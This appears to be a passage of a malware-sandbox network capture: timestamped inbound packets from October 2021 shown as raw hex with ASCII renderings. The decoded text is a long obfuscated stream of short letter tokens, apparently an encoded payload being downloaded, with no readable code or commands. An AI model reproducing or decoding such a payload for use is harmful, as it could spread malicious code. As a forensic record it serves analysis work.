OOo Yx EE RY x kK OOK Oot OxE o OKE Yx Yx tx Ek kt OOk OxQ x t
2021-10-29 15:55:36 UTC	1669	IN	Data Raw: 52 20 6f 51 20 51 6f 20 45 51 20 51 59 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 6b 74 20 45 78 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 74 20 59 52 20 6f 4b 20 4f 6f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 45 45 20 59 6b 20 4f 6f 4b 20 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 45 59 20 59 51 20 6f 52 20 4f 6f 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 4f 74 20 59 78 20 4b 6b 20 59 52 20 45 51 20 6b 6b 20 4f 78 4f 20 51 74 20 52 51 20 6b 52 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 51 20 4f 78 4f 20 51 74 20 52 51 20 6b 52 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 51 78 20 51 51 20 4f 6f 78 20 52 51 20 74 52 20 59 78 20 4b 6b 20 59 52 20 6f 74 20 4f 4f 6f 20 51 51 20 4f 6f 45 20 Data Ascii: R oQ Qo EQ QY Qx tE OxQ OOo YR oQ kt Ex Yo OOK OOt OxE Qt YR oK OoO YK kK Oox oR Oo OOo Yx Yk EE Yk OoK Ok OOt OxQ Ooo EY YQ oR OoY kK OOK Oot o Ot Yx Kk YR EQ kk OxO Qt RQ kR Yx Kk Yo Et kQ OxO Qt RQ kR Yx Kk Yo Et Qx QQ Oox RQ tR Yx Kk YR ot OOo QQ OoE
2021-10-29 15:55:36 UTC	1671	IN	Data Raw: 6b 20 45 6b 20 4b 59 20 4f 4f 45 20 4f 78 51 20 78 20 6f 52 20 6f 45 45 20 59 78 20 59 4b 20 6b 6f 20 51 78 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 59 4b 20 59 4f 20 51 78 20 4f 4f 6b 20 4f 6f 45 20 4f 78 4b 20 4f 6f 52 20 59 6f 20 52 6f 20 59 45 20 59 52 20 51 6f 20 4f 6f 4b 20 4f 6f 4b 20 51 51 20 4f 6f 6f 20 51 45 20 6f 78 4b 20 59 4f 20 59 4b 20 6b 6f 20 6b 6b 20 74 20 4f 4f 4f 20 6b 6b 20 45 51 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 51 20 4f 4f 45 20 4f 78 51 20 78 20 6f 52 20 6f 45 45 20 59 78 20 59 4b 20 6b 6f 20 51 78 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 51 45 20 6f 78 52 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 4f 20 6f 6f 52 20 4b 6b 20 6f 4b 20 45 51 20 59 4b 20 6b 4b 20 4f 4f 52 20 74 20 6f 4b 78 20 4f 4f 52 Data Ascii: k Ek KY OOE OxQ x oR oEE Yx YK ko Qx OoR OxQ OOo oY YO YK YO Qx OOk OoE OxK OoR Yo Ro YE YR Qo OoK OoK QQ Ooo QE oxK YO YK ko kk t OOO kk EQ Kk Yx Kk Ek Q OOE OxQ x oR oEE Yx YK ko Qx OoO OxQ OOo oY YO QE oxR kY OOK OOY tO ooR Kk oK EQ YK kK OOR t oKx OOR
2021-10-29 15:55:36 UTC	1672	IN	Data Raw: 6f 6f 20 6f 52 20 74 74 20 4f 4f 6f 20 59 78 20 59 4b 20 45 45 20 59 78 20 4f 45 6b 20 4f 4f 51 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 45 6b 20 6f 52 20 45 59 20 59 78 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 74 4b 20 4f 4f 4b 20 4f 74 20 6f 45 51 20 4f 4f 6f 20 4b 51 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 6f 20 4f 4f 6f 20 6f 4b 4b 20 4b 6b 20 59 78 20 59 4b 20 74 78 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 4b 20 52 4b 20 4b 74 20 59 59 20 59 4b 20 45 52 20 78 20 6b 6f 20 4f 78 4b 20 4f 4f 6f 20 52 52 20 52 52 20 6b 45 20 59 4f 20 6b 4b 20 6f 20 51 45 20 74 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 52 20 59 6f 20 6b 6f 20 4f 4f 45 20 4f 78 45 20 4f 78 6b 20 6b 6b 20 4f 74 20 Data Ascii: oo oR tt OOo Yx YK EE Yx OEk OOQ kE OtQ OOo Ek oR EY Yx OoR OOK OOt Oxk QR Yx Kk Yx YK tK OOK Ot oEQ OOo KQ RE Yx YK kY OxY RQ Oxo OOo oKK Kk Yx YK tx OOK OOt OoK OOK RK Kt YY YK ER x ko OxK OOo RR RR kE YO kK o QE tQ OOo Yx YK YR Yo ko OOE OxE Oxk kk Ot
2021-10-29 15:55:36 UTC	1673	IN	Data Raw: 20 59 78 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 59 20 52 4b 20 4f 45 59 20 59 59 20 59 4b 20 45 52 20 51 78 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 45 6b 20 6f 52 20 52 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 4f 4f 6b 20 6f 52 20 74 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 51 20 4f 4f 51 20 6f 59 45 20 45 74 20 4b 6b 20 59 78 20 4b 59 20 4f 4f 45 20 4f 78 78 20 6b 59 20 45 6b 20 59 6f 20 4f 4f 6f 20 4f 6f 59 20 6f 52 20 52 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 78 74 20 6b 59 20 45 74 20 45 51 20 6f 52 20 52 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 78 74 20 6b 59 20 4b 6f 20 59 6f 20 4f 6b 6b 20 51 59 20 4f 6f 4b 20 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 45 20 59 78 20 6f 4b Data Ascii: Yx EY kK OOK Oxx OOO OOY RK OEY YY YK ER Qx kO OxQ OOo Yo Ek oR RQ kK OOK Oot OxE OOk oR tx Yx YK QK OoO OOQ OOQ oYE Et Kk Yx KY OOE Oxx kY Ek Yo OOo OoY oR RY kK OOK Oot oxt kY Et EQ oR RY kK OOK Oot oxt kY Ko Yo Okk QY OoK Y OOt OxQ Ooo OKK oO KE Yx oK
2021-10-29 15:55:36 UTC	1675	IN	Data Raw: 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 45 45 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 4b 20 4f 4f 45 20 4f 4f 4f 20 6f 59 4b 20 45 4f 20 59 6f 20 45 6b 20 52 78 20 4f 45 6b 20 51 6b 20 4f 4f 51 20 4f 78 59 20 4f 4f 59 20 6f 52 20 74 4b 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52 20 45 6b 20 59 6b 20 6f 45 52 20 59 4b 20 6b 6f 20 6b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 6f 20 45 52 20 4b 6b 20 59 59 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 6f 52 20 52 4b 20 4b 51 20 4b 6b 20 45 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 6f 20 4f 78 51 20 4f Data Ascii: OK Oot tO OOo Yx KE o YE kK OOO OOt OxQ OOo EE Kk Yx EQ kR QK OOE OOO oYK EO Yo Ek Rx OEk Qk OOQ OxY OOY oR tK Yx YK QK Oox OtO OxK kR Ek Yk oER YK ko kk OOt OxQ OOo YO Eo Yx YK kK OOK OOt OxQ Oxo ER Kk YY Yt kK OOK OOR OoR RK KQ Kk Ex YK kK OOK Oxo OxQ O
2021-10-29 15:55:36 UTC	1676	IN	Data Raw: 74 20 4f 78 45 20 6b 6b 20 45 78 20 4b 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 52 4b 20 51 45 20 4f 45 20 4f 4f 6f 20 59 78 20 59 6b 20 4b 6b 20 6b 51 20 59 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 78 20 59 78 20 4b 6b 20 4b 4f 20 52 20 6b 52 20 4f 4f 4b 20 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 59 4b 20 52 51 20 4f 4f 6f 20 51 45 20 6b 4f 20 4f 4f 6f 20 59 78 20 59 6b 20 45 78 20 52 6f 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 6f 45 6b 20 4b 45 20 59 6f 20 4f 6f 4b 20 6b 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 51 20 6f 4b 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 52 20 51 45 20 74 78 20 4f 4f 6f 20 59 78 20 59 4b 20 59 52 20 6f 45 6f 20 6b 4f 20 6b 4b 20 4f 4f 51 20 4f 78 45 20 4f 74 4b 20 59 78 20 59 4b 20 Data Ascii: t OxE kk Ex Kk Yx Kk OoR RK QE OE OOo Yx Yk Kk kQ YE OOK OOt OxE Qx Yx Kk KO R kR OOK QK OxQ OOo Yx YK Yx YK RQ OOo QE kO OOo Yx Yk Ex Ro Ko Oxk OOt OxQ Ooo YR oEk KE Yo OoK kQ OOt OxQ OOk KQ oK oK YK kK OOR QE tx OOo Yx YK YR oEo kO kK OOQ OxE OtK Yx YK
2021-10-29 15:55:36 UTC	1677	IN	Data Raw: 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 52 59 20 51 4f 20 59 4f 20 59 4b 20 6b 6f 20 45 59 20 4f 4f 6b 20 4f 4f 4f 20 4f 4f 20 4b 6b 20 4b 6b 20 59 78 20 59 78 20 59 51 20 4f 4f 45 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 51 51 20 45 51 20 59 52 20 6f 45 6f 20 6b 6b 20 6b 4b 20 4f 4f 6b 20 45 78 20 6f 74 20 59 4f 20 4b 6b 20 59 6f 20 4f 78 45 20 52 52 20 4f 6f 78 20 4f 74 4f 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 4b 6b 20 59 78 20 59 59 20 52 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4b 6f 20 4b 52 20 6b 4b 20 4f 6f 52 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 20 59 6f 20 6b 4b 20 4f 78 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 52 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 20 4f 4f 51 20 4f 78 51 20 4f 4f 6f Data Ascii: K OOt OoK OOY RY QO YO YK ko EY OOk OOO OO Kk Kk Yx Yx YQ OOE OOR OxQ OOk QQ EQ YR oEo kk kK OOk Ex ot YO Kk Yo OxE RR Oox OtO OxQ OOk oK Kk Yx YY Rk OOK OOt OxQ OOo Yx Kk Ko KR kK OoR Ooo OxQ OOo YO KE o Yo kK Oxx OOt OxQ OOo KR Kk Yx EQ kR Q OOQ OxQ OOo
2021-10-29 15:55:36 UTC	1679	IN	Data Raw: 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 6f 20 51 6b 20 4f 4f 6f 20 59 59 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 4f 20 4f 4f 6f 20 45 52 20 4b 6b 20 59 78 20 59 4b 20 74 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 4b 20 74 45 20 59 78 20 59 78 20 59 4b 20 6b 78 20 4f 4f 45 20 6f 52 20 4f 78 6f 20 4f 4f 45 20 59 78 20 59 4b 20 59 52 20 6f 45 6f 20 6b 4f 20 6b 4b 20 51 51 20 4f 78 45 20 4f 74 4b 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 51 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4b 59 20 4f 78 78 20 4f 4f 6f 20 4f 4f 74 Data Ascii: OoR OOK OOt Oxk QR Yx Kk Yx YK kK OOK Ooo Qk OOo YY RE Yx YK kY OxY RQ OOO OOo ER Kk Yx YK to OOK OOt OoK OOK tE Yx Yx YK kx OOE oR Oxo OOE Yx YK YR oEo kO kK QQ OxE OtK Yx YK oK YK kK OOY OxO OxQ OOo Yx Kk Yx YK QO OoY OOt OxK Oot Yx Kk YO KY Oxx OOo OOt
2021-10-29 15:55:36 UTC	1680	IN	Data Raw: 6b 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 74 20 52 4f 20 4b 6b 20 59 59 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 59 20 4f 78 51 20 4f 4f 6f 20 45 59 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 4f 78 20 45 4f 20 52 4f 20 4b 51 20 59 78 20 4b 6b 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59 20 4f 78 6f 20 59 52 20 6f 45 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f Data Ascii: k YY kK OOR Oot OtQ OOt ox Ek YR oEo kK OOR QY OxQ OOo YO Eo Yx YK kK OOK OOt OxQ Oot RO Kk YY Yt kK OOK OOR OOk RK Kk Kk ER YK kK OOK OxY OxQ OOo EY Yx tE Yo kK OOK OOE OOx EO RO KQ Yx Kk QK Oto OOo tY Oxo YR oEk Yx Kk OoR OOK OOt Oxk QR Yx Kk Yx YK kK O
2021-10-29 15:55:36 UTC	1681	IN	Data Raw: 4f 20 6f 78 20 6f 51 20 6b 4f 20 6f 51 20 6f 45 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 6f 4b 20 6f 4b 45 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 6f 4f 20 4f 4f 45 20 6b 45 20 74 78 20 4f 4f 74 20 51 45 20 4f 52 51 20 59 78 20 59 4b 20 51 4b 20 4f 4f 6f 20 4f 4b 20 4f 4f 78 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 45 20 6f 74 20 6b 52 20 6b 4b 20 51 59 20 52 51 20 6f 45 4b 20 59 78 20 4b 6b 20 59 52 20 6f 6b 20 74 6b 20 51 78 20 52 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 4b 59 20 4f 78 78 20 4f 4f 51 20 4f 4f 74 20 4f 74 52 20 4f 4f 45 20 59 78 20 4b 6b 20 4b 74 20 59 4b 20 6b 4b 20 51 51 20 4f 4f 20 4f 78 74 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 78 20 6b 4b 20 4f 4f 4b 20 4f Data Ascii: O ox oQ kO oQ oEt OxQ OOo YR Yx tE Yo kK OOK OOE oK oKE Yx Kk YO OQ OoO OOE kE tx OOt QE ORQ Yx YK QK OOo OK OOx OOo Yx Yo oE ot kR kK QY RQ oEK Yx Kk YR ok tk Qx Ro OxQ OOo Yo oR Yx KY Oxx OOQ OOt OtR OOE Yx Kk Kt YK kK QQ OO Oxt OOo Yx Yo oR Ox kK OOK O
2021-10-29 15:55:36 UTC	1683	IN	Data Raw: 6f 6f 6f 20 6b 74 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78 20 4b 6b 20 59 52 20 4b 6b 20 52 51 20 4f 4f 51 20 4f 78 45 20 4f 78 74 20 45 4f 20 4f 4f 52 20 4b 6b 20 59 78 20 4b 6b 20 4f 6f 78 20 4f 74 4b 20 4f 6f 4b 20 45 78 20 4f 6b 78 20 59 78 20 4b 6b 20 59 6f 20 45 51 20 6b 6f 20 51 78 20 4f 74 51 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 4f 4b 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 78 6f 20 4f 78 6f 20 51 4f 20 6f 51 20 45 4b 20 59 74 20 45 78 20 6f 4b 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 52 6f 20 6f 74 20 4b 6f 20 4b 6b 20 59 51 20 52 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 45 4f 20 59 4b 20 52 59 20 4f 59 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 45 20 6b 78 20 6f 4f 6b 20 59 4f 20 59 78 20 59 4b 20 4f 6f 4b 20 6f 45 Data Ascii: ooo kt OOK OOt RQ oEQ Yx Kk YR Kk RQ OOQ OxE Oxt EO OOR Kk Yx Kk Oox OtK OoK Ex Okx Yx Kk Yo EQ ko Qx OtQ OxQ OOo Yo QY OKt YK kK Oox Oxo Oxo QO oQ EK Yt Ex oKR OOK OOt OxE QQ Ro ot Ko Kk YQ RR OOt OxQ OOk EO YK RY OYx kK OOK Oot oE kx oOk YO Yx YK OoK oE
2021-10-29 15:55:36 UTC	1684	IN	Data Raw: 59 20 6f 78 74 20 6b 59 20 4b 74 20 45 52 20 6f 78 4b 20 4b 6b 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 78 74 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 6b 4f 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 4f 20 51 45 20 4f 78 6f 20 4f 45 51 20 4f 78 74 20 4f 6b 20 59 78 20 4b 6b 20 59 6f 20 52 51 20 6f 4f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6f 4f 78 20 6f 45 20 4b 74 20 59 52 20 45 4b 20 4f 74 78 20 4f 4f 52 20 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 52 74 20 4f 74 51 20 59 4b 20 6b 4b 20 4f 4f 52 20 6f 4f 59 20 74 6f 20 4f 4f 4f 20 59 74 20 45 52 20 6f 78 4b 20 4b 6b 20 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 Data Ascii: Y oxt kY Kt ER oxK Kk Yo OOK OOt Oxt E OtQ Kk Yx Kk oKR kt Oxt OoO OKo Yo kO Yx YK ko O oKK OxQ OOo Yo OKR oE KO QE Oxo OEQ Oxt Ok Yx Kk Yo RQ oOE OOK OOt Oxt oOx oE Kt YR EK Otx OOR oo OxQ OOo Yo Rt OtQ YK kK OOR oOY to OOO Yt ER oxK Kk Kk OOK OOt Oxt E
2021-10-29 15:55:36 UTC	1685	IN	Data Raw: 74 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 45 20 4f 59 4b 20 4b 6b 20 59 78 20 52 78 20 59 51 20 6f 59 4f 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 74 20 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 45 6b 20 4f 4f 45 20 59 78 20 59 4b 20 6f 45 20 52 51 20 6f 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 6b 45 20 4b 51 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 52 59 20 59 59 20 6b 4b 20 4f 4f 52 20 6b 78 20 45 78 20 6f 4f 52 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 6f 4f 4f 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 59 20 52 59 20 4f 59 6f 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 59 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 Data Ascii: tt kY OOK OOY to E OYK Kk Yx Rx YQ oYO OOR OxQ OOk oE Rt K YK kK Oox oR oEk OOE Yx YK oE RQ oYo OOK OOt OxE EO OkE KQ Yx Kk OOE O oOx OxQ OOo YR QY RY YY kK OOR kx Ex oOR Yx Kk YR kQ oOO OOY OOt Oxt kY RY OYo Yx YK QK oQ k Oxk OOo Yo oO RY OYk kK OOK Oot
2021-10-29 15:55:36 UTC	1687	IN	Data Raw: 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 45 20 4f 51 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 4f 4f 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 6f 20 51 6b 20 59 4f 20 4b 74 20 6f 78 74 20 45 78 20 6f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f 59 52 20 4b 6b 20 59 78 20 52 78 20 4f 6f 78 20 51 51 20 4f 4f 59 20 52 51 20 6f 6f 45 20 59 78 20 4b 6b 20 59 52 20 4b 6b 20 4f 6f 4b 20 4f 51 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 78 20 45 6b 20 52 6f 20 6f 45 6f 20 52 4b 20 4f 78 4f 20 4f 6f 4f 20 4f 74 51 20 51 52 20 59 6f 20 6f 4b 20 4f 45 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 45 20 4f 6f 45 20 4f 6f 4b 20 6f 45 52 20 59 45 20 6f 78 20 6f 45 6f 20 6b 4b 20 4f 78 78 20 51 59 20 4f 78 4f 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 45 6b 20 6b 4b Data Ascii: R YK kK Oox QE OQo OOo Yx Yk oR OOR kK OOK Oot Oxo Qk YO Kt oxt Ex oE OOK OOt OxE kk OYR Kk Yx Rx Oox QQ OOY RQ ooE Yx Kk YR Kk OoK OQK OOt OxQ Ooo ox Ek Ro oEo RK OxO OoO OtQ QR Yo oK OEx YK kK Oox kE OoE OoK oER YE ox oEo kK Oxx QY OxO Qx Yx Kk YO Ek kK
2021-10-29 15:55:36 UTC	1688	IN	Data Raw: 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 59 6f 20 4b 51 20 59 78 20 59 78 20 4f 6f 4f 20 52 52 20 51 51 20 45 4f 20 6f 45 78 20 59 6b 20 4b 6b 20 52 52 20 45 4b 20 4f 45 6f 20 4f 6f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 4f 78 4f 20 6f 4b 6b 20 6f 6f 4b 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 52 52 20 4f 78 6f 20 51 45 20 6f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 4f 4b 4b 20 45 78 20 6f 45 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f 4b 78 20 4b 6b 20 59 78 20 52 78 20 6f 4f 6f 20 4f 4f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 74 52 20 59 4b 20 59 4f 20 59 4b 20 6b 78 20 51 20 6f 78 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 6b 20 59 6f 20 59 59 20 6b 4b 20 4f 4f 6b 20 51 45 20 4f 51 Data Ascii: OY OOt OxY OK Yo KQ Yx Yx OoO RR QQ EO oEx Yk Kk RR EK OEo OoR OOt OxQ OOK oR OER Yx YK QK OxO oKk ooK OOo Yx KQ oE Eo RR Oxo QE oxQ OOo Yx Yk OKK Ex oEE OOK OOt OxE kk OKx Kk Yx Rx oOo OOR OOR OxQ OOR tR YK YO YK kx Q oxo OxQ OOo YR tk Yo YY kK OOk QE OQ
2021-10-29 15:55:36 UTC	1689	IN	Data Raw: 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f 6b 6f 20 4b 6b 20 45 78 20 4f 6b 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 4f 4b 20 4b 6b 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 78 52 20 74 78 20 4f 78 4f 20 4f 4f 4b 20 4b 51 20 59 6f 20 6f 52 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 4f 52 20 52 74 20 59 6f 20 52 74 20 4f 59 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 59 20 74 4f 20 4f 51 6b 20 4b 6b 20 6f 4b 20 6f 4f 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 52 4b 20 4f 4f 52 20 6f 78 20 45 52 20 6f 59 20 59 4f 20 4f 6f 4b 20 51 52 20 4f 4f 74 20 4f 78 51 20 51 4f 20 51 45 20 74 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 4f 78 51 20 51 4b 20 4f 6f 78 20 4b 6b 20 59 4f 20 59 4b 20 45 78 20 4f 59 Data Ascii: E E Yo RQ oYY OOK OOt OxE Ox oK Oko Kk Ex OkE OOK OOt Oxt EO OK Kk Yx Kk OOE OxR tx OxO OOK KQ Yo oR Oxk kK OOK OOY OOR Rt Yo Rt OYE YK kK Oox OY tO OQk Kk oK oOO YK kK OOR kx RK OOR ox ER oY YO OoK QR OOt OxQ QO QE t Yx YK ko kt OxQ QK Oox Kk YO YK Ex OY
2021-10-29 15:55:36 UTC	1691	IN	Data Raw: 45 20 6f 52 20 59 52 20 4f 4f 45 20 59 78 20 59 4b 20 45 78 20 6f 6f 20 6b 52 20 51 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 4f 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4b 6b 20 45 45 20 52 20 6b 78 20 4f 4f 4b 20 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 78 20 59 78 20 59 4b 20 52 51 20 4f 4f 45 20 6f 52 20 59 6b 20 4f 4f 45 20 59 78 20 59 4b 20 45 78 20 51 74 20 45 51 20 6f 45 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 52 20 59 4b 20 4b 51 20 6b 51 20 4b 51 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 45 4f 20 4f 52 52 20 Data Ascii: E oR YR OOE Yx YK Ex oo kR Qx OoK OxQ OOo Yo QY OO YK kK OOR kx OOt Rt Yk Yx KQ Yx OoK OR OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK Kk EE R kx OOK oO OxQ OOo Yx ox Yx YK RQ OOE oR Yk OOE Yx YK Ex Qt EQ oEO OOt OxQ OOk YR YK KQ kQ KQ OOY OOt Oxt EO ORR
